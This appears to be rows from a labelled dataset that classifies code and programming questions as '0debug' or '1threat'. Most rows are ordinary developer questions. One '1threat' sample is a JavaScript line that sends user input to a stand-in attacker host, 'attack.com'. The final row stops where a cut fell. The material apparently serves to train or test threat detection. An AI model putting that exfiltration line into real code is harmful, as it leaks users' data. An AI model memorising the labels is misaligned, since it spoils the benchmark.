problem stringlengths 26 131k | labels class label 2 classes |
|---|---|
type observable<{}> is not assignable to any type:Property length is missing in type{} in Typescript : <p>I'm trying to get JSON data kept in the local system using Angular2 http.</p>
<pre><code>import { Injectable } from '@angular/core';
import { Http, Response } from '@angular/http';
import { General } from './general';
import { Observable } from 'rxjs/Observable';
@Injectable()
export class GeneralService {
// #docregion endpoint
private statusUrl = './jsondata'; // URL to web API
// #enddocregion endpoint
// #docregion ctor
constructor (private http: Http) {}
// #enddocregion ctor
// #docregion methods, error-handling, http-get
getStatus (): Observable<General[]> {
return this.http.get(this.statusUrl)
.map(this.extractData)
.catch(this.handleError);
}
private extractData(res: Response) {
let body = res.json();
return body.data || { };
}
private handleError (error: Response | any) {
// In a real world app, we might use a remote logging infrastructure
let errMsg: string;
if (error instanceof Response) {
const body = error.json() || '';
const err = body.error || JSON.stringify(body);
errMsg = `${error.status} - ${error.statusText || ''} ${err}`;
} else {
errMsg = error.message ? error.message : error.toString();
}
console.error(errMsg);
return Observable.throw(errMsg);
}
}
</code></pre>
<p>I'm getting error- <strong>Type observable<{}> is not assignable to type 'Observable'.Type '{}' is not assignable to type 'General[]'. Property length is missing in type'{}'</strong></p>
<p>Here General is a class name. Im using rxjs-5.0. I'm following Angular.io Tour of heroes and making my own project. Any help on this?</p>
| 0debug |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
Mouse and Cat cahse game - c# : I have to make a Windows Form Application which has to be a cat chasing a mouse. And you love the mouse with the arrow keys while that cat is going towards the mouse. It should detect when the they both get in contact and show the time it took. Both the cat and mouse should be placed randomly in the window each new game. And in higher difficulty it should have two holes and when the mouse goes in one of them it shows on the other. Can someone help because I have no idea where to start the main part? I've already placed pictures if a cat and a mouse in separate picture boxes and made the part with choosing difficulty. | 0debug |
For the erase-remove idiom, why is the second parameter necessary which points to the end of the container? : <p>Consider the following code (taken from <a href="https://en.cppreference.com/w/cpp/algorithm/remove" rel="noreferrer">cppreference.com</a>, slightly adapted):</p>
<pre><code>#include <algorithm>
#include <string>
#include <iostream>
#include <cctype>
int main()
{
std::string str1 = " Text with some spaces";
str1.erase(std::remove(str1.begin(), str1.end(), ' '), str1.end());
std::cout << str1 << '\n';
return 0;
}
</code></pre>
<p>Why is the second parameter to <code>erase</code> neccessary? (I.e. <code>str1.end()</code> in this case.)</p>
<p>Why can't I just supply the iterators which are returned by <code>remove</code> to <code>erase</code>? Why do I have to tell it also about the last element of the container from which to erase?</p>
<p>The pitfall here is that you can also call <code>erase</code> without the second parameter but that produces the wrong result, obviously. </p>
<p>Are there use cases where I would not want to pass the end of the container as a second parameter to <code>erase</code>?</p>
<p>Is omitting the second parameter of <code>erase</code> for the erase-remove idiom always an error or could that be a valid thing to do?</p>
| 0debug |
Sqlite, three tables, one is join, how do i get non-existant entries? : This seems to be the hardest thing to search for - I can find a lot of "how do i find empties in two tables", or how to do so for non-sqlite, but...
- Three tables, item, user and item_user join
- Three users, Bob, Jane, Danny
- Two items, hammer, nail
How do i find the users who haven't made an order for an item?
ie
- bob has ordered a hammer and a nail
- so has Jane
- Danny has only ordered a hammer
Can i do a search to show this? In sqlite?
| 0debug |
How to show plus and minus sign when subtracting two variables: : <p>How to show plus and minus sign when subtracting two variables:Following codes shows -1, that is fine but when the value is positive then it is not showing +sign.</p>
<pre><code>$gf=5;
$ga=6;
$gd=$gf-$ga;
echo $gd;
</code></pre>
| 0debug |
Is there a reason to my second instanciated object takes my first object's value? : When I insert a second Object(a Child), I need to assign to his parent the name of his child (having already the Child object, that has the parents name in a property), but when I call the Parent object always returns the child object.
I'm using a Hashtable to store "Cargo" objects.
```
// Hashtable(key,value)
TablaCargos(CargoObject.Name, CargoObject)
```
And every Cargo should have a Parent and a Child list
Part of my class Cargo
```
class Cargo {
private string nombre;
private string codigo;
private string padre;
private List<string> hijos = new List<string>();
public Cargo() {
nombre = "";
codigo = "";
padre = "";
hijos = null;
}
//getter and setters
}
```
My form
```
Cargo cargo = new Cargo();
Cargo cargoHijo = new Cargo();
Cargo cargoPadre = new Cargo();
Hashtable TablaCargos = new Hashtable();
string Root = "";
...
// A button_Click listener that add the object to the hashtable, and calls Ordenamiento()
...
private void Ordenamiento(string cargoActual) {
cargoHijo = (Cargo)TablaCargos[cargoActual];
if (cargoHijo.Padre == "") {
// THIS IS A PARENT
Root = cargoActual;
} else {
// THIS IS A CHILD
AsignarPadre(cargoHijo.Padre, cargoHijo.Nombre);
}
private void AsignarPadre(String Padre, String Hijo)
{
// THE PROBLEM IS HERE, CLEARLY I SEND THE Parent's KEY
cargoPadre = (Cargo)TablaCargos[Padre];
// BUT IN THE NEXT LINE cargoPadre TAKES THE VALUE OF THE CHILD
// THE SAME VALUE OF cargoAux
cargoPadre.Hijos.Add(Hijo);
}
```
I expect to assign the child's name to the parent's child property, but the child takes it.
Maybe I miss an instantiation or, I don't know | 0debug |
How do i do arithmetic for all elements of a list : <p>I need to find the biggest factor of the number 600851475143</p>
<p>so in order for doing that i want to find all primes smaller that this number</p>
<pre><code>number = input("enter max number:")
def findprime (number):
prime = [1,2]
for i in range (2,number):
if(i%)
</code></pre>
<p>how do i preform arithmetic's for all numbers in a list?</p>
| 0debug |
CPUSPARCState *cpu_sparc_init(void)
{
CPUSPARCState *env;
cpu_exec_init();
if (!(env = malloc(sizeof(CPUSPARCState))))
return (NULL);
memset(env, 0, sizeof(*env));
env->cwp = 0;
env->wim = 1;
env->regwptr = env->regbase + (env->cwp * 16);
env->access_type = ACCESS_DATA;
#if defined(CONFIG_USER_ONLY)
env->user_mode_only = 1;
#else
env->psrs = 1;
env->pc = 0x4000;
env->npc = env->pc + 4;
env->mmuregs[0] = (0x10<<24) | MMU_E;
env->mmuregs[1] = 0x3000 >> 4;
#endif
cpu_single_env = env;
return (env);
}
| 1threat |
Implement "docker rmi" in python docker api : I want to have the python equivalent to below command:
> docker rmi $(docker images -q -a)
So, remove() method is equivalent to rmi but how to about in "-q" and "-a" options. | 0debug |
void do_sraw (void)
{
int32_t ret;
if (likely(!(T1 & 0x20UL))) {
if (likely((uint32_t)T1 != 0)) {
ret = (int32_t)T0 >> (T1 & 0x1fUL);
if (likely(ret >= 0 || ((int32_t)T0 & ((1 << T1) - 1)) == 0)) {
xer_ca = 0;
} else {
xer_ca = 1;
}
} else {
ret = T0;
xer_ca = 0;
}
} else {
ret = (-1) * ((uint32_t)T0 >> 31);
if (likely(ret >= 0 || ((uint32_t)T0 & ~0x80000000UL) == 0)) {
xer_ca = 0;
} else {
xer_ca = 1;
}
}
T0 = ret;
}
| 1threat |
How can I loop through a determinated range of rows? : <p>I am stuck with the beginning of my analysis. Perhaps the question could be stupid, but I would like to request your help for some tips.
I have a dataframe with several variables; and each variable has 10 observations. My doubt is how can I estimate for each variable the max of the first 5 observations, and the max of the following 5 observations. </p>
<p>This is an example of my code:</p>
<pre><code> for (i in 1:length(ncols)){
max.value <- max(var1)
}
</code></pre>
<p>Thank you very much in advance </p>
| 0debug |
cornerRadius stopped working in Swift 2.3 / iOS 10 / Xcode 8 : <p>I have a <code>cornerRadius</code> set on a <code>UIView</code> and a <code>UIImageView</code> inside the same <code>UIView</code>. I am calculating the corner radius with <code>RockProfileView.frame.size.height / 2</code> but the UIView stopped showing in iOS 10. </p>
<p>After further checking i found the value of <code>RockProfileView.frame.size.height / 2</code> is coming out to be 1000.0 while the width and height constraint is set to 64.0</p>
<p>When I hardcoded the <code>RockProfileView.layer.cornerRadius = 32</code> to 64/2 it works just fine. </p>
<p>What could be the issue ?</p>
<p>Full code:</p>
<pre><code> RockProfileView.layer.cornerRadius = RockProfileView.frame.size.height / 2
RockProfileView.clipsToBounds = true
RockProgressView.layer.masksToBounds = true
</code></pre>
| 0debug |
unable to create an MxGraph from the XML provided : <p>It's a React project and I am trying to convert XML to MxGraph.</p>
<p>PFB :- the code that I have</p>
<pre><code>import React, { Component } from 'react'
import ReactDOM from 'react-dom'
import {
mxGraph,
mxRubberband,
mxKeyHandler,
mxClient,
mxUtils,
mxEvent
} from 'mxgraph-js'
// import axios from 'axios'
import parser from 'fast-xml-parser'
import '../../common.css'
import '../../mxgraph.css'
class mxGraphGridAreaEditor extends Component {
constructor (props) {
super(props)
this.state = {
graph: {},
layout: {},
json: '',
dragElt: null,
createVisile: false,
currentNode: null,
currentTask: ''
}
this.LoadGraph = this.LoadGraph.bind(this)
}
componentDidMount () {
const xml = `<mxGraphModel dx='2221' dy='774' grid='1' gridSize='10' guides='1' tooltips='1' connect='1' arrows='1' fold='1' page='1' pageScale='1' pageWidth='827' pageHeight='1169' math='0' shadow='0'>
<root>
<mxCell id='0'/>
<mxCell id='1' parent='0'/>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-7' value='&lt;b style=&quot;font-size: 20px;&quot;&gt;Scorecard&lt;/b&gt;'
style='rounded=0;whiteSpace=wrap;html=1;fillColor=#E6E6E6;fontSize=20;verticalAlign=top;strokeColor=none;' parent='1' vertex='1'>
<mxGeometry x='-230' y='10' width='240' height='800' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-1' value='KPA' style='rounded=0;whiteSpace=wrap;html=1;verticalAlign=top;fontStyle=1;strokeColor=none;fontSize=20;fillColor=#CCCCCC;' parent='1' vertex='1'>
<mxGeometry x='10' y='10' width='240' height='800' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-2' value='&lt;b style=&quot;font-size: 20px;&quot;&gt;Domain&lt;/b&gt;' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#E6E6E6;fontSize=20;verticalAlign=top;strokeColor=none;' parent='1' vertex='1'>
<mxGeometry x='250' y='10' width='240' height='800' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-3' value='Cluster' style='rounded=0;whiteSpace=wrap;html=1;verticalAlign=top;fontStyle=1;strokeColor=none;fontSize=20;fillColor=#CCCCCC;' parent='1' vertex='1'>
<mxGeometry x='490' y='10' width='240' height='800' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-4' value='&lt;b style=&quot;font-size: 20px;&quot;&gt;KPI&lt;/b&gt;' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#E6E6E6;fontSize=20;verticalAlign=top;strokeColor=none;' parent='1' vertex='1'>
<mxGeometry x='730' y='10' width='240' height='800' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-15' value='' style='endArrow=block;html=1;fontSize=15;fontColor=#FFFFFF;strokeWidth=2;endFill=1;edgeStyle=orthogonalEdgeStyle;curved=1;' parent='1' source='y3w0JNk_32n-TRd_Wrkm-13' target='y3w0JNk_32n-TRd_Wrkm-5' edge='1'>
<mxGeometry width='50' height='50' relative='1' as='geometry'>
<mxPoint x='-160' y='450' as='sourcePoint'/>
<mxPoint x='-110' y='400' as='targetPoint'/>
</mxGeometry>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-19' value='' style='endArrow=block;html=1;fontSize=15;fontColor=#FFFFFF;strokeWidth=2;endFill=1;edgeStyle=orthogonalEdgeStyle;curved=1;entryX=1;entryY=0.5;entryDx=0;entryDy=0;' parent='1' source='y3w0JNk_32n-TRd_Wrkm-16' target='y3w0JNk_32n-TRd_Wrkm-13' edge='1'>
<mxGeometry width='50' height='50' relative='1' as='geometry'>
<mxPoint x='40' y='297.5' as='sourcePoint'/>
<mxPoint y='297.5' as='targetPoint'/>
</mxGeometry>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-26' value='' style='endArrow=block;html=1;fontSize=15;fontColor=#FFFFFF;strokeWidth=2;endFill=1;edgeStyle=orthogonalEdgeStyle;curved=1;entryX=1;entryY=0.5;entryDx=0;entryDy=0;' parent='1' source='y3w0JNk_32n-TRd_Wrkm-20' target='y3w0JNk_32n-TRd_Wrkm-16' edge='1'>
<mxGeometry width='50' height='50' relative='1' as='geometry'>
<mxPoint x='280' y='297.5' as='sourcePoint'/>
<mxPoint x='240' y='297.5' as='targetPoint'/>
</mxGeometry>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-27' value='' style='endArrow=block;html=1;fontSize=15;fontColor=#FFFFFF;strokeWidth=2;endFill=1;edgeStyle=orthogonalEdgeStyle;curved=1;' parent='1' source='y3w0JNk_32n-TRd_Wrkm-23' target='y3w0JNk_32n-TRd_Wrkm-16' edge='1'>
<mxGeometry width='50' height='50' relative='1' as='geometry'>
<mxPoint x='520' y='189.79310344827593' as='sourcePoint'/>
<mxPoint x='480' y='297.37931034482756' as='targetPoint'/>
</mxGeometry>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-38' value='' style='endArrow=block;html=1;fontSize=15;fontColor=#FFFFFF;strokeWidth=2;endFill=1;edgeStyle=orthogonalEdgeStyle;curved=1;' parent='1' source='y3w0JNk_32n-TRd_Wrkm-34' target='y3w0JNk_32n-TRd_Wrkm-20' edge='1'>
<mxGeometry width='50' height='50' relative='1' as='geometry'>
<mxPoint x='280' y='297.5' as='sourcePoint'/>
<mxPoint x='240' y='297.5' as='targetPoint'/>
</mxGeometry>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-48' value='' style='endArrow=block;html=1;fontSize=15;fontColor=#FFFFFF;strokeWidth=2;endFill=1;edgeStyle=orthogonalEdgeStyle;curved=1;' parent='1' source='y3w0JNk_32n-TRd_Wrkm-40' target='y3w0JNk_32n-TRd_Wrkm-23' edge='1'>
<mxGeometry width='50' height='50' relative='1' as='geometry'>
<mxPoint x='520' y='402.2068965517242' as='sourcePoint'/>
<mxPoint x='480' y='297.37931034482756' as='targetPoint'/>
</mxGeometry>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-49' value='' style='endArrow=block;html=1;fontSize=15;fontColor=#FFFFFF;strokeWidth=2;endFill=1;edgeStyle=orthogonalEdgeStyle;curved=1;' parent='1' source='y3w0JNk_32n-TRd_Wrkm-43' target='y3w0JNk_32n-TRd_Wrkm-23' edge='1'>
<mxGeometry width='50' height='50' relative='1' as='geometry'>
<mxPoint x='530' y='412.2068965517242' as='sourcePoint'/>
<mxPoint x='490' y='307.37931034482756' as='targetPoint'/>
</mxGeometry>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-50' value='' style='group' parent='1' vertex='1' connectable='0'>
<mxGeometry x='750' y='440' width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-43' value='' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#FFFFFF;fontSize=15;strokeWidth=2;verticalAlign=top;fontStyle=1' parent='y3w0JNk_32n-TRd_Wrkm-50' vertex='1'>
<mxGeometry width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-44' value='End To End Fault Handling Effectiveness S2' style='rounded=0;whiteSpace=wrap;html=1;fillColor=none;fontSize=15;strokeWidth=2;verticalAlign=middle;fontStyle=1;strokeColor=none;' parent='y3w0JNk_32n-TRd_Wrkm-50' vertex='1'>
<mxGeometry width='200' height='55' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-45' value='&lt;font style=&quot;font-size: 23px&quot;&gt;&lt;span&gt;R 19 762&lt;/span&gt;&lt;br&gt;&lt;font style=&quot;font-size: 15px&quot;&gt;19.8%&lt;/font&gt;&lt;/font&gt;&lt;br&gt;' style='rounded=1;whiteSpace=wrap;html=1;strokeWidth=2;fillColor=#4D4D4D;fontSize=15;perimeterSpacing=0;arcSize=50;strokeColor=none;fontColor=#FFFFFF;' parent='y3w0JNk_32n-TRd_Wrkm-50' vertex='1'>
<mxGeometry x='10' y='65' width='180' height='70' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-51' value='' style='group' parent='1' vertex='1' connectable='0'>
<mxGeometry x='750' y='247.5' width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-40' value='' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#FFFFFF;fontSize=15;strokeWidth=2;verticalAlign=top;fontStyle=1' parent='y3w0JNk_32n-TRd_Wrkm-51' vertex='1'>
<mxGeometry width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-41' value='End To End Fault Handling Effectiveness S1' style='rounded=0;whiteSpace=wrap;html=1;fillColor=none;fontSize=15;strokeWidth=2;verticalAlign=middle;fontStyle=1;strokeColor=none;' parent='y3w0JNk_32n-TRd_Wrkm-51' vertex='1'>
<mxGeometry width='200' height='55' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-42' value='&lt;font style=&quot;font-size: 23px&quot;&gt;&lt;span&gt;R 15 544&lt;/span&gt;&lt;br&gt;&lt;font style=&quot;font-size: 15px&quot;&gt;15.5%&lt;/font&gt;&lt;/font&gt;&lt;br&gt;' style='rounded=1;whiteSpace=wrap;html=1;strokeWidth=2;fillColor=#4D4D4D;fontSize=15;perimeterSpacing=0;arcSize=50;strokeColor=none;fontColor=#FFFFFF;' parent='y3w0JNk_32n-TRd_Wrkm-51' vertex='1'>
<mxGeometry x='10' y='65.5' width='180' height='70' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-52' value='' style='group' parent='1' vertex='1' connectable='0'>
<mxGeometry x='510' y='344' width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-23' value='' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#FFFFFF;fontSize=15;strokeWidth=2;verticalAlign=top;fontStyle=1' parent='y3w0JNk_32n-TRd_Wrkm-52' vertex='1'>
<mxGeometry width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-24' value='Fault Management' style='rounded=0;whiteSpace=wrap;html=1;fillColor=none;fontSize=15;strokeWidth=2;verticalAlign=middle;fontStyle=1;strokeColor=none;' parent='y3w0JNk_32n-TRd_Wrkm-52' vertex='1'>
<mxGeometry width='200' height='55' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-25' value='&lt;font style=&quot;font-size: 23px&quot;&gt;&lt;span&gt;R 35&lt;/span&gt;&lt;span&gt;&amp;nbsp;306&lt;/span&gt;&lt;br&gt;&lt;font style=&quot;font-size: 15px&quot;&gt;35.3%&lt;/font&gt;&lt;/font&gt;&lt;br&gt;' style='rounded=1;whiteSpace=wrap;html=1;strokeWidth=2;fillColor=#4D4D4D;fontSize=15;perimeterSpacing=0;arcSize=50;strokeColor=none;fontColor=#FFFFFF;' parent='y3w0JNk_32n-TRd_Wrkm-52' vertex='1'>
<mxGeometry x='10' y='65' width='180' height='70' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-53' value='' style='group' parent='1' vertex='1' connectable='0'>
<mxGeometry x='750' y='58' width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-34' value='' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#FFFFFF;fontSize=15;strokeWidth=2;verticalAlign=top;fontStyle=1' parent='y3w0JNk_32n-TRd_Wrkm-53' vertex='1'>
<mxGeometry width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-35' value='Reporting Effectiveness' style='rounded=0;whiteSpace=wrap;html=1;fillColor=none;fontSize=15;strokeWidth=2;verticalAlign=middle;fontStyle=1;strokeColor=none;' parent='y3w0JNk_32n-TRd_Wrkm-53' vertex='1'>
<mxGeometry width='200' height='55' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-36' value='&lt;font style=&quot;font-size: 23px&quot;&gt;&lt;span&gt;R 19 500&lt;/span&gt;&lt;br&gt;&lt;font style=&quot;font-size: 15px&quot;&gt;19.5%&lt;/font&gt;&lt;/font&gt;&lt;br&gt;' style='rounded=1;whiteSpace=wrap;html=1;strokeWidth=2;fillColor=#4D4D4D;fontSize=15;perimeterSpacing=0;arcSize=50;strokeColor=none;fontColor=#FFFFFF;' parent='y3w0JNk_32n-TRd_Wrkm-53' vertex='1'>
<mxGeometry x='10' y='65' width='180' height='70' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-54' value='' style='group' parent='1' vertex='1' connectable='0'>
<mxGeometry x='510' y='58' width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-20' value='' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#FFFFFF;fontSize=15;strokeWidth=2;verticalAlign=top;fontStyle=1' parent='y3w0JNk_32n-TRd_Wrkm-54' vertex='1'>
<mxGeometry width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-21' value='Reporting' style='rounded=0;whiteSpace=wrap;html=1;fillColor=none;fontSize=15;strokeWidth=2;verticalAlign=middle;fontStyle=1;strokeColor=none;' parent='y3w0JNk_32n-TRd_Wrkm-54' vertex='1'>
<mxGeometry width='200' height='55' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-22' value='&lt;font style=&quot;font-size: 23px&quot;&gt;&lt;span&gt;R 19 500&lt;/span&gt;&lt;br&gt;&lt;font style=&quot;font-size: 15px&quot;&gt;19.5%&lt;/font&gt;&lt;/font&gt;&lt;br&gt;' style='rounded=1;whiteSpace=wrap;html=1;strokeWidth=2;fillColor=#4D4D4D;fontSize=15;perimeterSpacing=0;arcSize=50;strokeColor=none;fontColor=#FFFFFF;' parent='y3w0JNk_32n-TRd_Wrkm-54' vertex='1'>
<mxGeometry x='10' y='65' width='180' height='70' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-55' value='' style='group' parent='1' vertex='1' connectable='0'>
<mxGeometry x='270' y='201' width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-16' value='' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#FFFFFF;fontSize=15;strokeWidth=2;verticalAlign=top;fontStyle=1' parent='y3w0JNk_32n-TRd_Wrkm-55' vertex='1'>
<mxGeometry width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-17' value='Common' style='rounded=0;whiteSpace=wrap;html=1;fillColor=none;fontSize=15;strokeWidth=2;verticalAlign=middle;fontStyle=1;strokeColor=none;' parent='y3w0JNk_32n-TRd_Wrkm-55' vertex='1'>
<mxGeometry width='200' height='55' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-18' value='&lt;font style=&quot;font-size: 23px&quot;&gt;&lt;span&gt;R&amp;nbsp;&lt;/span&gt;&lt;span&gt;54 806&lt;/span&gt;&lt;br&gt;&lt;font style=&quot;font-size: 15px&quot;&gt;54.8%&lt;/font&gt;&lt;/font&gt;&lt;br&gt;' style='rounded=1;whiteSpace=wrap;html=1;strokeWidth=2;fillColor=#4D4D4D;fontSize=15;perimeterSpacing=0;arcSize=50;strokeColor=none;fontColor=#FFFFFF;' parent='y3w0JNk_32n-TRd_Wrkm-55' vertex='1'>
<mxGeometry x='10' y='65' width='180' height='70' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-56' value='' style='group' parent='1' vertex='1' connectable='0'>
<mxGeometry x='30' y='420' width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-13' value='' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#FFFFFF;fontSize=15;strokeWidth=2;verticalAlign=top;fontStyle=1' parent='y3w0JNk_32n-TRd_Wrkm-56' vertex='1'>
<mxGeometry width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-14' value='Process' style='rounded=0;whiteSpace=wrap;html=1;fillColor=none;fontSize=15;strokeWidth=2;verticalAlign=middle;fontStyle=1;strokeColor=none;' parent='y3w0JNk_32n-TRd_Wrkm-56' vertex='1'>
<mxGeometry width='200' height='55' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-11' value='&lt;font style=&quot;font-size: 23px&quot;&gt;&lt;span&gt;R&amp;nbsp;&lt;/span&gt;&lt;span&gt;54 806&lt;/span&gt;&lt;br&gt;&lt;font style=&quot;font-size: 15px&quot;&gt;54.8%&lt;/font&gt;&lt;/font&gt;&lt;br&gt;' style='rounded=1;whiteSpace=wrap;html=1;strokeWidth=2;fillColor=#4D4D4D;fontSize=15;perimeterSpacing=0;arcSize=50;strokeColor=none;fontColor=#FFFFFF;' parent='y3w0JNk_32n-TRd_Wrkm-56' vertex='1'>
<mxGeometry x='10' y='65' width='180' height='70' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-57' value='' style='group' parent='1' vertex='1' connectable='0'>
<mxGeometry x='-210' y='419.99999999999994' width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-5' value='' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#FFFFFF;fontSize=15;strokeWidth=2;verticalAlign=top;fontStyle=1' parent='y3w0JNk_32n-TRd_Wrkm-57' vertex='1'>
<mxGeometry width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-6' value='&lt;font style=&quot;font-size: 23px&quot;&gt;&lt;span&gt;R&amp;nbsp;&lt;/span&gt;&lt;span&gt;54 806&lt;/span&gt;&lt;br&gt;&lt;font style=&quot;font-size: 15px&quot;&gt;54.8%&lt;/font&gt;&lt;/font&gt;&lt;br&gt;' style='rounded=1;whiteSpace=wrap;html=1;strokeWidth=2;fillColor=#4D4D4D;fontSize=15;perimeterSpacing=0;arcSize=50;strokeColor=none;fontColor=#FFFFFF;' parent='y3w0JNk_32n-TRd_Wrkm-57' vertex='1'>
<mxGeometry x='10' y='65' width='180' height='70' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-12' value='Huawei RAN and Transmission O&amp;amp;M' style='rounded=0;whiteSpace=wrap;html=1;fillColor=none;fontSize=15;strokeWidth=2;verticalAlign=middle;fontStyle=1;strokeColor=none;' parent='y3w0JNk_32n-TRd_Wrkm-57' vertex='1'>
<mxGeometry width='200' height='55' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-62' value='' style='group' parent='1' vertex='1' connectable='0'>
<mxGeometry x='750' y='640' width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-59' value='' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#FFFFFF;fontSize=15;strokeWidth=2;verticalAlign=top;fontStyle=1' parent='y3w0JNk_32n-TRd_Wrkm-62' vertex='1'>
<mxGeometry width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-60' value='Network Monitoring Effectiveness' style='rounded=0;whiteSpace=wrap;html=1;fillColor=none;fontSize=15;strokeWidth=2;verticalAlign=middle;fontStyle=1;strokeColor=none;' parent='y3w0JNk_32n-TRd_Wrkm-62' vertex='1'>
<mxGeometry width='200' height='55' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-61' value='&lt;font style=&quot;font-size: 23px&quot;&gt;&lt;span&gt;R 0&lt;/span&gt;&lt;br&gt;&lt;font style=&quot;font-size: 15px&quot;&gt;0.0%&lt;/font&gt;&lt;/font&gt;&lt;br&gt;' style='rounded=1;whiteSpace=wrap;html=1;strokeWidth=2;fillColor=#4D4D4D;fontSize=15;perimeterSpacing=0;arcSize=50;strokeColor=none;fontColor=#FFFFFF;' parent='y3w0JNk_32n-TRd_Wrkm-62' vertex='1'>
<mxGeometry x='10' y='65' width='180' height='70' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-68' value='' style='endArrow=block;html=1;fontSize=15;fontColor=#FFFFFF;strokeWidth=2;endFill=1;edgeStyle=orthogonalEdgeStyle;curved=1;exitX=0;exitY=0.5;exitDx=0;exitDy=0;' parent='1' source='y3w0JNk_32n-TRd_Wrkm-59' target='y3w0JNk_32n-TRd_Wrkm-65' edge='1'>
<mxGeometry width='50' height='50' relative='1' as='geometry'>
<mxPoint x='760' y='522.5' as='sourcePoint'/>
<mxPoint x='720' y='426.66666666666674' as='targetPoint'/>
</mxGeometry>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-73' value='' style='group' parent='1' vertex='1' connectable='0'>
<mxGeometry x='510' y='640' width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-65' value='' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#FFFFFF;fontSize=15;strokeWidth=2;verticalAlign=top;fontStyle=1' parent='y3w0JNk_32n-TRd_Wrkm-73' vertex='1'>
<mxGeometry width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-66' value='Supervision' style='rounded=0;whiteSpace=wrap;html=1;fillColor=none;fontSize=15;strokeWidth=2;verticalAlign=middle;fontStyle=1;strokeColor=none;' parent='y3w0JNk_32n-TRd_Wrkm-73' vertex='1'>
<mxGeometry width='200' height='55' as='geometry'/>
</mxCell>
